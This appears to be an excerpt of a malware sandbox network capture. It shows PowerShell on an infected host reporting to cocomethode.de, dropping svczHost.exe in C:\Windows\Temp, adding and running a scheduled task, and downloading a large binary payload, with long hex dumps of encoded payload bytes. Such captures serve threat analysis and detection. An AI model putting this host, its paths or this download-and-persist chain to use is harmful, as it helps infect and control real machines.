2024-12-11 11:44:30 UTC	1369	IN	Data Raw: e9 4f 01 49 8c 0c 36 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 71 d2 25 01 49 8c 04 38 e9 4f 01 49 8c 0c 2b e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 52 d2 25 01 49 8c 04 35 e9 4f 01 49 8c 0c 24 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 37 d2 25 01 49 8c 04 3e e9 4f 01 49 8c 0c 31 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 18 d2 25 01 49 8c 04 4b e9 4f 01 49 8c 0c 3a e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 fd d3 25 01 49 8c 04 4c e9 4f 01 49 8c 0c 3f e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 de d3 25 01 49 8c 04 59 e9 4f 01 49 8c 0c 48 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c3 d3 25 01 49 8c 04 7a e9 4f 01 49 8c 0c 6d e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a4 d3 25 01 49 8c 04 a7 e9 4f 01 49 8c 0c 96 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 89 d3 Data Ascii: OI6OI8tIq%I8OI+OI8tIR%I5OI$OI8tI7%I>OI1OI8tI%IKOI:OI8tI%ILOI?OI8tI%IYOIHOI8tI%IzOImOI8tI%IOIOI8tI
2024-12-11 11:44:30 UTC	1136	IN	Data Raw: a5 eb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 1c cf 25 01 49 8c 04 f7 f3 4f 01 49 8c 0c e6 f3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 01 cf 25 01 49 8c 04 18 f2 4f 01 49 8c 0c 0b f2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e2 cc 25 01 49 8c 04 85 f2 4f 01 49 8c 0c 74 f2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 cc 25 01 49 8c 04 9e 76 90 01 49 8a 01 49 8c 0c cc db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 cc 25 01 49 8c 04 86 76 90 01 49 8a 01 49 8c 0c b4 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 cc 25 01 49 8c 04 6e 76 90 01 49 8a 01 49 8c 0c cc db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 cc 25 01 49 8c 04 5e 76 90 01 49 8a 01 49 8c 0c c4 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 cc 25 01 49 8c 04 46 76 90 01 49 8a 01 49 8c 0c ac db 4f 01 49 82 38 01 Data Ascii: OI8tI%IOIOI8tI%IOIOI8tI%IOItOI8tI%IvIIOI8tI%IvIIOI8tIg%InvIIOI8tIG%I^vIIOI8tI'%IFvIIOI8
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 01 49 8a 01 49 8c 0c 64 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c8 25 01 49 8c 04 ae 74 90 01 49 8a 01 49 8c 0c 4c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c8 25 01 49 8c 04 96 74 90 01 49 8a 01 49 8c 0c 34 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c8 25 01 49 8c 04 86 74 90 01 49 8a 01 49 8c 0c 24 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c8 25 01 49 8c 04 76 74 90 01 49 8a 01 49 8c 0c 0c db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c8 25 01 49 8c 04 66 74 90 01 49 8a 01 49 8c 0c f4 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c9 25 01 49 8c 04 4e 74 90 01 49 8a 01 49 8c 0c dc d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c9 25 01 49 8c 04 36 74 90 01 49 8a 01 49 8c 0c c4 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c9 25 01 49 8c 04 26 74 Data Ascii: IIdOI8tI%ItIILOI8tIg%ItII4OI8tIG%ItII$OI8tI'%IvtIIOI8tI%IftIIOI8tI%INtIIOI8tI%I6tIIOI8tI%I&t
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 01 49 8c 04 ee 73 90 01 49 8a 01 49 8c 0c fc d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c5 25 01 49 8c 04 d6 73 90 01 49 8a 01 49 8c 0c e4 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c5 25 01 49 8c 04 be 73 90 01 49 8a 01 49 8c 0c cc d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c2 25 01 49 8c 04 a6 73 90 01 49 8a 01 49 8c 0c b4 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c2 25 01 49 8c 04 8e 73 90 01 49 8a 01 49 8c 0c 9c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c2 25 01 49 8c 04 76 73 90 01 49 8a 01 49 8c 0c 84 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c2 25 01 49 8c 04 5e 73 90 01 49 8a 01 49 8c 0c 6c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c2 25 01 49 8c 04 46 73 90 01 49 8a 01 49 8c 0c 54 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c2 Data Ascii: IsIIOI8tI'%IsIIOI8tI%IsIIOI8tI%IsIIOI8tI%IsIIOI8tI%IvsIIOI8tI%I^sIIlOI8tIg%IFsIITOI8tIG
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 49 8a d1 e8 e7 bf 25 01 49 8c 04 fe 6e 90 01 49 8a 01 49 8c 0c 44 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 bf 25 01 49 8c 04 e6 6e 90 01 49 8a 01 49 8c 0c 3c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 bf 25 01 49 8c 04 ce 6e 90 01 49 8a 01 49 8c 0c 2c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 bf 25 01 49 8c 04 c6 6e 90 01 49 8a 01 49 8c 0c 14 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 bf 25 01 49 8c 04 b6 6e 90 01 49 8a 01 49 8c 0c 04 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 bf 25 01 49 8c 04 ae 6e 90 01 49 8a 01 49 8c 0c ec d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 bf 25 01 49 8c 04 9e 6e 90 01 49 8a 01 49 8c 0c d4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 bf 25 01 49 8c 04 96 6e 90 01 49 8a 01 49 8c 0c bc d4 4f 01 49 82 38 01 74 00 Data Ascii: I%InIIDOI8tI%InII<OI8tI%InII,OI8tI%InIIOI8tIg%InIIOI8tIG%InIIOI8tI'%InIIOI8tI%InIIOI8t
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 49 82 38 01 74 00 c2 49 8a d1 e8 87 b8 25 01 49 8c 04 86 6f 90 01 49 8a 01 49 8c 0c 0c d2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b8 25 01 49 8c 04 a6 6f 90 01 49 8a 01 49 8c 0c f4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b8 25 01 49 8c 04 a6 6f 90 01 49 8a 01 49 8c 0c e4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b8 25 01 49 8c 04 8e 6f 90 01 49 8a 01 49 8c 0c d4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b8 25 01 49 8c 04 7e 6f 90 01 49 8a 01 49 8c 0c bc d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b9 25 01 49 8c 04 76 6f 90 01 49 8a 01 49 8c 0c a4 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b9 25 01 49 8c 04 6e 6f 90 01 49 8a 01 49 8c 0c 8c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b9 25 01 49 8c 04 56 6f 90 01 49 8a 01 49 8c 0c 74 d3 4f Data Ascii: I8tI%IoIIOI8tIg%IoIIOI8tIG%IoIIOI8tI'%IoIIOI8tI%I~oIIOI8tI%IvoIIOI8tI%InoIIOI8tI%IVoIItO
2024-12-11 11:44:30 UTC	1369	IN	Data Raw: 49 8c 0c 8c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b5 25 01 49 8c 04 8e 6a 90 01 49 8a 01 49 8c 0c 74 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b5 25 01 49 8c 04 76 6a 90 01 49 8a 01 49 8c 0c 6c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b2 25 01 49 8c 04 5e 6a 90 01 49 8a 01 49 8c 0c 54 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b2 25 01 49 8c 04 46 6a 90 01 49 8a 01 49 8c 0c 3c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b2 25 01 49 8c 04 2e 6a 90 01 49 8a 01 49 8c 0c 24 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b2 25 01 49 8c 04 1e 6a 90 01 49 8a 01 49 8c 0c 0c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b2 25 01 49 8c 04 06 6a 90 01 49 8a 01 49 8c 0c 1c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b2 25 01 49 8c 04 ee 6b 90 01 49 8a Data Ascii: IOI8tI'%IjIItOI8tI%IvjIIlOI8tI%I^jIITOI8tI%IFjII<OI8tI%I.jII$OI8tI%IjIIOI8tIg%IjIIOI8tIG%IkI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.30	49760	104.21.1.51	443	5508	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:42 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 200
2024-12-11 11:44:42 UTC	200	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 63 6f 6d 70 6c 65 74 65 64 3a 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 54 68 65 20 66 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 20 77 61 73 20 70 72 6f 63 65 73 73 65 64 20 61 6e 64 20 73 61 76 65 64 20 61 73 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 73 76 63 7a 48 6f 73 74 2e 65 78 65 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Download completed: C:\\\\Windows\\\\Temp\\\\file\"", "\"The file C:\\\\Windows\\\\Temp\\\\file was processed and saved as C:\\\\Windows\\\\Temp\\\\svczHost.exe\"", "----------"]
2024-12-11 11:44:43 UTC	1210	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:43 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GlYbkHk4Hj4tOgHY2A7npKLhPweH%2FEdXJjK9goSfuPtWxN2xVygKmZm031TKkbvyx8DexBto5KKZI%2BiQ42UhTTbm9FUWmVeQ1rQyPm0dnsqA27D1V7GNrgiVAks41lYipJW%2FTSnE8K4H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15022&min_rtt=1025&rtt_var=23526&sent=32956&recv=14538&lost=0&retrans=0&sent_bytes=47068191&recv_bytes=157448&delivery_rate=17620689&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f05396aaca853b5-ATL server-timing: cfL4;desc="?proto=TCP&rtt=57&min_rtt=55&rtt_var=24&sent=6&recv=8&lost=0&retrans=0&sent_bytes=989&recv_bytes=1372&delivery_rate=922295774&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113887&min_rtt=113791&rtt_var=24149&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1145&delivery_rate=33574&cwnd=252&unsent_bytes=0&cid=154e90dddb0b236d&ts=609&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.30	49761	104.21.1.51	443	5508	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:43 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 97
2024-12-11 11:44:43 UTC	97	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 65 74 65 6c 65 20 46 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 61 64 64 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Detele File C:\\\\Windows\\\\Temp\\\\file\"", "\"add task\"", "----------"]
2024-12-11 11:44:43 UTC	1209	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:43 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y406AsYoZkR8Sunc6ZyAtj9bEFBo4QCwl7YYkGXm%2BCGYJ3ogmQ2RnO7Hh%2BtSfiFl0LOPpFvGQLuIfuAPKkg0T49r5e6yZ8ac6P41B%2BL3q%2Bq3G5NI5%2FhTg1I4JTkywxV3jlLlTusgjH3N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17806&min_rtt=988&rtt_var=24461&sent=5897&recv=2643&lost=0&retrans=0&sent_bytes=8409006&recv_bytes=34540&delivery_rate=49742976&cwnd=272&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f0539701d1569f7-ATL server-timing: cfL4;desc="?proto=TCP&rtt=48&min_rtt=46&rtt_var=22&sent=6&recv=8&lost=0&retrans=0&sent_bytes=970&recv_bytes=1499&delivery_rate=992166666&cwnd=125&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113795&min_rtt=113712&rtt_var=24120&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1041&delivery_rate=33601&cwnd=252&unsent_bytes=0&cid=0b2e5f696907c192&ts=598&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.30	49763	104.21.1.51	443	5508	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:44:46 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 64
2024-12-11 11:44:46 UTC	64	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 65 74 20 74 68 75 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"run task\"", "\"ket thuc\"", "----------"]
2024-12-11 11:44:46 UTC	1215	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:44:46 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OPzxNtD%2BNMc67efEd4ztR1G8kc7x%2F38P0bvGysXsGv%2BDsXp%2BT52NmrqtuJXN%2BQF4LygoPyjgqeP7SkTnn31ik0Ezq0WVLtJZ0HTc3ZFgnwAcU%2F9Z9ced4siru00TPC7O8Nrlnv5%2FIj04"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17500&min_rtt=988&rtt_var=24278&sent=5912&recv=2667&lost=0&retrans=0&sent_bytes=8411655&recv_bytes=55672&delivery_rate=49742976&cwnd=274&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053982c84ebcf0-ATL server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=40&rtt_var=20&sent=9&recv=11&lost=0&retrans=0&sent_bytes=8373&recv_bytes=1842&delivery_rate=1336387755&cwnd=94&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=114104&min_rtt=114081&rtt_var=24099&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1008&delivery_rate=33559&cwnd=252&unsent_bytes=0&cid=f0b989fef347602a&ts=595&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.30	49766	104.21.1.51	443	9168	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:45:36 UTC	64	OUT	GET /StaticFile/RdpService/63 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:45:37 UTC	1364	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:45:37 GMT Content-Type: application/octet-stream Content-Length: 9429504 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: 5641F3A5B9787F23D3D34F0D9F791B7A CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k2LRAl7qLe%2BlmDPSYQBsXnbLLb%2F%2Bsbqx7QGiK%2FhtngRo90YyOi7W%2BAYB%2F16rzxHe4npHr79xIAe066TkVlVqO3QNOQV2sa3G6ASYjhZsKdylrlHGTWZiM4xsBthWRtLXjLyW3hDLoTHj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=32596&min_rtt=1141&rtt_var=26961&sent=23&recv=25&lost=0&retrans=0&sent_bytes=8060&recv_bytes=10017&delivery_rate=2381729&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f053abc6eb7c027-ATL server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=42&rtt_var=16&sent=9&recv=11&lost=0&retrans=0&sent_bytes=8635&recv_bytes=1336&delivery_rate=1283980392&cwnd=94&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113761&min_rtt=113731&rtt_var=24037&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2834&recv_bytes=702&delivery_rate=33653&cwnd=252&unsent_bytes=0&cid=77d81151703b8871&ts=657&x=0"
2024-12-11 11:45:37 UTC	5	IN	Data Raw: 72 65 af 3f 3c Data Ascii: re?<
2024-12-11 11:45:37 UTC	1369	IN	Data Raw: 3f 3f 3f 3b 3f 3f 3f c0 c0 3f 3f 87 3f 3f 3f 3f 3f 3f 3f 7f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3e 3f 3f 31 20 85 31 3f 8b 36 f2 1e 87 3e 73 f2 1e 6b 57 56 4c 1f 4f 4d 50 58 4d 5e 52 1f 5c 5e 51 51 50 4b 1f 5d 5a 1f 4d 4a 51 1f 56 51 1f 7b 70 6c 1f 52 50 5b 5a 11 32 32 35 1b 3f 3f 3f 3f 3f 3f 3f d1 d2 09 1f 95 b3 67 4c 95 b3 67 4c 95 b3 67 4c 9c cb f4 4c 9b b3 67 4c e5 32 66 4d 82 b3 67 4c 95 b3 66 4c 13 b2 67 4c 85 37 64 4d 86 b3 67 4c 85 37 63 4d ac b3 67 4c dd 36 62 4d 96 b3 67 4c e5 32 63 4d 97 b3 67 4c 95 b3 67 4c 94 b3 67 4c 85 37 62 4d e3 b3 67 4c dd 36 67 4d 94 b3 67 4c dd 36 65 4d 94 b3 67 4c 6d 56 5c 57 95 b3 67 4c 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 6f 7a 3f 3f Data Ascii: ???;????????????????????????????????????????????????>??1 1?6>skWVLOMPXM^R\^QQPK]ZMJQVQ{plRP[Z225???????gLgLgLLgL2fMgLfLgL7dMgL7cMgL6bMgL2cMgLgLgL7bMgL6gMgL6eMgLmV\WgL????????????????oz??
2024-12-11 11:45:37 UTC	1369	IN	Data Raw: 3a fa b0 67 3f 77 b2 32 89 b0 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 18 e6 17 3f 77 b2 3a 87 b0 67 3f 77 b2 32 96 b0 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 35 e6 17 3f 77 b2 3a 94 b0 67 3f 77 b2 32 a3 b0 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 d2 e7 17 3f 77 b2 3a a1 b0 67 3f 77 b2 32 b0 b0 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 ef e7 17 3f 77 b2 3a 86 b0 67 3f 77 b2 32 95 b0 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 8c e7 17 3f 77 b2 3a 83 b0 67 3f 77 b2 32 92 b0 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 a9 e7 17 3f 77 b2 3a 88 b0 67 3f 77 b2 32 97 b0 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 46 e7 17 3f 77 b2 3a 95 b0 67 3f 77 b2 32 a4 b0 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 63 e7 17 3f 77 b2 3a 92 b0 67 3f 77 b2 32 a1 b0 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 Data Ascii: :g?w2g?w?J>w?w:g?w2g?w?J>w5?w:g?w2g?w?J>w?w:g?w2g?w?J>w?w:g?w2g?w?J>w?w:g?w2g?w?J>w?w:g?w2g?w?J>wF?w:g?w2g?w?J>wc?w:g?w2g?w?J>w
2024-12-11 11:45:37 UTC	1369	IN	Data Raw: b2 32 84 ae 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 eb ec 17 3f 77 b2 3a fa ae 67 3f 77 b2 32 89 ae 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 88 ec 17 3f 77 b2 3a ef ae 67 3f 77 b2 32 fe ae 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 a5 ec 17 3f 77 b2 3a e4 ae 67 3f 77 b2 32 f3 ae 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 42 ec 17 3f 77 b2 3a e1 ae 67 3f 77 b2 32 f0 ae 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 5f ec 17 3f 77 b2 3a d6 ae 67 3f 77 b2 32 e5 ae 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 7c ec 17 3f 77 b2 3a 33 ad 67 3f 77 b2 32 c2 ae 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 19 ec 17 3f 77 b2 3a 08 ad 67 3f 77 b2 32 17 ad 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 36 ec 17 3f 77 b2 3a 6d ad 67 3f 77 b2 32 7c ad 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 d3 ed 17 3f 77 b2 Data Ascii: 2g?w?J>w?w:g?w2g?w?J>w?w:g?w2g?w?J>w?w:g?w2g?w?J>wB?w:g?w2g?w?J>w_?w:g?w2g?w?J>w\|?w:3g?w2g?w?J>w?w:g?w2g?w?J>w6?w:mg?w2\|g?w?J>w?w
2024-12-11 11:45:37 UTC	1369	IN	Data Raw: 77 bc 06 3f 4a 3e fc 77 b4 ef d6 be f1 17 3f 77 b2 3a bd aa 67 3f 77 b2 32 4c aa 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 5b f1 17 3f 77 b2 3a 82 9e 67 3f 77 b2 32 91 9e 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 78 f1 17 3f 77 b2 3a b7 9d 67 3f 77 b2 32 46 9d 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 15 f1 17 3f 77 b2 3a 44 30 99 3f 77 b4 3f 77 b2 32 6e bc 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 d5 f2 17 3f 77 b2 3a 54 30 99 3f 77 b4 3f 77 b2 32 06 bc 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 f5 f2 17 3f 77 b2 3a 6c 30 99 3f 77 b4 3f 77 b2 32 1e bc 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 95 f2 17 3f 77 b2 3a 7c 30 99 3f 77 b4 3f 77 b2 32 36 bc 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 b5 f2 17 3f 77 b2 3a 6c 30 99 3f 77 b4 3f 77 b2 32 36 bc 67 3f 77 bc 06 3f 4a 3e fc 77 Data Ascii: w?J>w?w:g?w2Lg?w?J>w[?w:g?w2g?w?J>wx?w:g?w2Fg?w?J>w?w:D0?w?w2ng?w?J>w?w:T0?w?w2g?w?J>w?w:l0?w?w2g?w?J>w?w:\|0?w?w26g?w?J>w?w:l0?w?w26g?w?J>w
2024-12-11 11:45:37 UTC	1369	IN	Data Raw: 06 3f 4a 3e fc 77 b4 ef d6 35 f6 17 3f 77 b2 3a a4 32 99 3f 77 b4 3f 77 b2 32 96 bd 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 d5 f7 17 3f 77 b2 3a bc 32 99 3f 77 b4 3f 77 b2 32 ae bd 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 f5 f7 17 3f 77 b2 3a 54 32 99 3f 77 b4 3f 77 b2 32 46 bd 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 95 f7 17 3f 77 b2 3a 64 32 99 3f 77 b4 3f 77 b2 32 56 bd 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 b5 f7 17 3f 77 b2 3a 74 32 99 3f 77 b4 3f 77 b2 32 6e bd 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 55 f7 17 3f 77 b2 3a 04 32 99 3f 77 b4 3f 77 b2 32 06 bd 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 75 f7 17 3f 77 b2 3a 1c 32 99 3f 77 b4 3f 77 b2 32 1e bd 67 3f 77 bc 06 3f 4a 3e fc 77 b4 ef d6 15 f7 17 3f 77 b2 3a 34 32 99 3f 77 b4 3f 77 b2 32 36 bd 67 3f 77 Data Ascii: ?J>w5?w:2?w?w2g?w?J>w?w:2?w?w2g?w?J>w?w:T2?w?w2Fg?w?J>w?w:d2?w?w2Vg?w?J>w?w:t2?w?w2ng?w?J>wU?w:2?w?w2g?w?J>wu?w:2?w?w2g?w?J>w?w:42?w?w26g?w
